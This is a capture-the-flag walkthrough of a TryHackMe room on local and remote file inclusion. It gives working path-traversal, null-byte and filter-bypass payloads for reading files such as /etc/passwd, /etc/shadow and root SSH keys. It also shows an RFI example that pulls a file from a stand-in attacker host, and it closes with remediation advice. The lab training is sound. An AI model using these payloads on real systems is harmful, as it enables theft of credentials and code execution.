File Inclusion — TryHackMe Walkthrough

12 min readJul 15, 2022

Task 1 : What is file inclusion?

This room aims to equip you with the essential knowledge to exploit file inclusion vulnerabilities, including Local File Inclusion (LFI), Remote File Inclusion (RFI), and directory traversal. Also, we will discuss the risk of these vulnerabilities if they’re found and the required remediation. We provide some practical examples of each vulnerability as well as hands-on challenges.

In some scenarios, web applications are written to request access to files on a given system, including images, static text, and so on via parameters. Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following graph explains and breaking down the essential parts of the URL.

For example, parameters are used with Google searching, where GET requests pass user input into the search engine. https://www.google.com/search?q=TryHackMe.

Let’s discuss a scenario where a user requests to access files from a webserver. First, the user sends an HTTP request to the webserver that includes a file to display. For example, if a user wants to access and display their CV within the web application, the request may look as follows, http://webapp.thm/get.php?file=userCV.pdf, where the file is the parameter and the userCV.pdf, is the required file to access.

Why do File inclusion vulnerabilities happen?

File inclusion vulnerabilities are commonly found and exploited in various programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.

What is the risk of File inclusion?

It depends! If the attacker can use file inclusion vulnerabilities to read sensitive data. In that case, the successful attack causes to leak of sensitive data, including code and files related to the web application, credentials for back-end systems. Moreover, if the attacker somehow can write to the server such as /tmp directory, then it is possible to gain remote command execution RCE. However, it won’t be effective if file inclusion vulnerability is found with no access to sensitive data and no writing ability to the server.

Task 3 : Path Traversal

Also known as Directory traversal, a web security vulnerability allows an attacker to read operating system resources, such as local files on the server running an application. The attacker exploits this vulnerability by manipulating and abusing the web application’s URL to locate and access files or directories stored outside the application’s root directory.

Path traversal vulnerabilities occur when the user’s input is passed to a function such as file_get_contents in PHP. It’s important to note that the function is not the main contributor to the vulnerability. Often poor input validation or filtering is the cause of the vulnerability. In PHP, you can use the file_get_contents to read the content of a file. You can find more information about the function here.

The following graph shows how a web application stores files in /var/www/app. The happy path would be the user requesting the contents of userCV.pdf from a defined path /var/www/app/CVs.

We can test out the URL parameter by adding payloads to see how the web application behaves. Path traversal attacks, also known as the dot-dot-slash attack, take advantage of moving the directory one step up using the double dots ../. If the attacker finds the entry point, which in this case get.php?file=, then the attacker may send something as follows, http://webapp.thm/get.php?file=../../../../etc/passwd

Suppose there isn’t input validation, and instead of accessing the PDF files at /var/www/app/CVs location, the web application retrieves files from other directories, which in this case /etc/passwd. Each .. entry moves one directory until it reaches the root directory /. Then it changes the directory to /etc, and from there, it read the passwd file.

As a result, the web application sends back the file’s content to the user.

Sometimes, developers will add filters to limit access to only certain files or directories. Below are some common OS files you could use when testing.

/etc/issue — contains a message or system identification to be printed before the login prompt.

/etc/profile — controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived

/proc/version — specifies the version of the Linux kernel

/etc/passwd — has all registered user that has access to a system

/etc/shadow — contains information about the system’s users’ passwords

/root/.bash_history — contains the history commands for root user

/var/log/dmessage — contains global system messages, including the messages that are logged during system startup

/var/mail/root — all emails for root user

/root/.ssh/id_rsa — Private SSH keys for a root or any known valid user on the server

/var/log/apache2/access.log — the accessed requests for Apache webserver

C:\boot.ini — contains the boot options for computers with BIOS firmware

What function causes path traversal vulnerabilities in PHP? Answer: file_get_contents

Local File Inclusion ( LFI)

In this section, we will walk you through various LFI scenarios and how to exploit them.

Suppose the web application provides two languages, and the user can select between the EN and AR

Give Lab #1 a try to read /etc/passwd. What would the request URI be? Answer: lab1.php?file=/etc/passwd/

In Lab #2, what is the directory specified in the include function? Answer: includes

Local File Inclusion — LFI #2

In this task, we go a little bit deeper into LFI. We discussed a couple of techniques to bypass the filter within the include function.

In the first two cases, we checked the code for the web app, and then we knew how to exploit it. However, in this case, we are performing black box testing, in which we don’t have the source code. In this case, errors are significant in understanding how the data is passed and processed into the web app.

Lab example slightly differs from the example described by the THM Team but this is even better because you can spot the differences and what to look for in 2 examples. In the Lab put anything and click on Include to get the error message.

Try to read the /etc/passwd file by adding 4 times the path traversal command ../ . why 4? because look at the highlighed path and count the folders that we need to get out of.

Still we are getting an error message. It seems we could move out of the PHP directory but still, the include function reads the input with .php at the end! This tells us that the developer specifies the file type to pass to the include function. To bypass this scenario, we can use the NULL BYTE, which is %00.

Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte.

Put this in your address bar not in the Include form

http://10.10.164.135/lab3.php?file=../../../../etc/passwd%00

Give Lab #3 a try to read /etc/passwd. What is the request look like? Answer: lab3.php?file=../../../../etc/passwd%00

2. In this section, the developer decided to filter keywords to avoid disclosing sensitive information! The /etc/passwd file is being filtered. There are two possible methods to bypass the filter. First, by using the NullByte %00 or the current directory trick at the end of the filtered keyword /.. The exploit will be similar to http://webapp.thm/index.php?lang=/etc/passwd/. We could also use http://webapp.thm/index.php?lang=/etc/passwd%00.

To make it clearer, if we try this concept in the file system using cd .., it will get you back one step; however, if you do cd ., It stays in the current directory. Similarly, if we try /etc/passwd/.., it results to be /etc/ and that’s because we moved one to the root. Now if we try /etc/passwd/., the result will be /etc/passwd since dot refers to the current directory.

To answer question for this Lab you can put whatever in the Include box to get the error which will show the function

To display /etc/passwd use this in browser
http://10.10.2.181/lab4.php?file=../../../etc/passwd/.

Which function is causing the directory traversal in Lab #4? Answer: file_get_contents

3. Next, in the following scenarios, the developer starts to use input validation by filtering some keywords. Let’s test out and check the error message!

http://webapp.thm/index.php?lang=../../../../etc/passwd

If we check the warning message in the include(languages/etc/passwd) section, we know that the web application replaces the ../ with the empty string. There are a couple of techniques we can use to bypass this.

First, we can send the following payload to bypass it: ….//….//….//….//….//etc/passwd

http://10.10.2.181/lab5.php?file=....//....//....//....//etc/passwd

4. Finally, we’ll discuss the case where the developer forces the include to read from a defined directory! For example, if the web application asks to supply input that has to include a directory such as: http://webapp.thm/index.php?lang=languages/EN.php then, to exploit this, we need to include the directory in the payload like so: ?lang=languages/../../../../../etc/passwd.

To see the etc/passwd put this in browser

http://10.10.2.181/lab6.php?file=THM-profile/../../../../../etc/passwd

Try out Lab #6 and check what is the directory that has to be in the input field? Answer: THM-profile

To solve last question put this in browser

http://10.10.2.181/lab6.php?file=THM-profile/../../../../../etc/os-release

Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value? Answer: 12.04

Remote File Inclusion — RFI

Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on.

The risk of RFI is higher than LFI since RFI vulnerabilities allow an attacker to gain Remote Command Execution (RCE) on the server. Other consequences of a successful RFI attack include:

Sensitive Information Disclosure
Cross-site Scripting (XSS)
Denial of Service (DoS)

RFI steps

The following figure is an example of steps for a successful RFI attack! Let’s say that the attacker hosts a PHP file on their own server http://attacker.thm/cmd.txt where cmd.txt contains a printing message Hello THM.

<?PHP echo "Hello THM"; ?>

First, the attacker injects the malicious URL, which points to the attacker’s server, such as http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt. If there is no input validation, then the malicious URL passes into the include function. Next, the web app server will send a GET request to the malicious server to fetch the file. As a result, the web app includes the remote file into include function to execute the PHP file within the page and send the execution content to the attacker. In our case, the current page somewhere has to show the Hello THM message.

Remediation

Keep system and services, including web application frameworks, updated with the latest version.
Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information.
A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.
Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn’t need them, such as allow_url_fopen on and allow_url_include.
Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.
Never trust user input, and make sure to implement proper input validation against file inclusion.
Implement whitelisting for file names and locations as well as blacklisting.

Challenge

Capture Flag1 at /etc/flag1

So we need to get this executed : ../../../../etc/flag1 but they want us to use POST instead of GET. GET is normally used to retrieve files from server.

How to do it?

Open BurpSuite and open the challenge #1.

Activate the Proxy
put the path to the file in the include form

Go to Burp and make sure that Intercept is on is activated
put the file path in the include form and click on Include

Right click on the request in Proxy tab in Burp

Once this is done, click on Forward and you will receive the flag1 file

FYI : Check this awesome page out https://security.szurek.pl/en/burp-12-tricks-for-burp-repeater/

2. Capture Flag2 at /etc/flag2

Let’s tamper the cookie!

Open the challenge #2 and we see that we are not able to access
Open Inspect the Element and go to Storage where cookies are
Let’s change the value of the cookie to our designed path ../../../../etc/flag2

It failed. Why? because as you can see in the error message, the validation is done to open .php files only, however it can be ommited by adding %00 at the end
So now the value should look like below, refresh the page and boom! Flag#2 is there

see what kind of filtering we got there, so we input ../../../../etc/flag3 and the output is filtered to etcflag — no number 3, no path traversal possibility plain strings only

But when we change method to POST instead of GET in Burp the filter is gone

So just slight adjustment, see it still asks for .php file which we know how to ommit by adding %00
in the browser put ?file=../../../../etc/flag3%00 and click on enter
jump into the Burp and change the request to POST as in the example above
Done !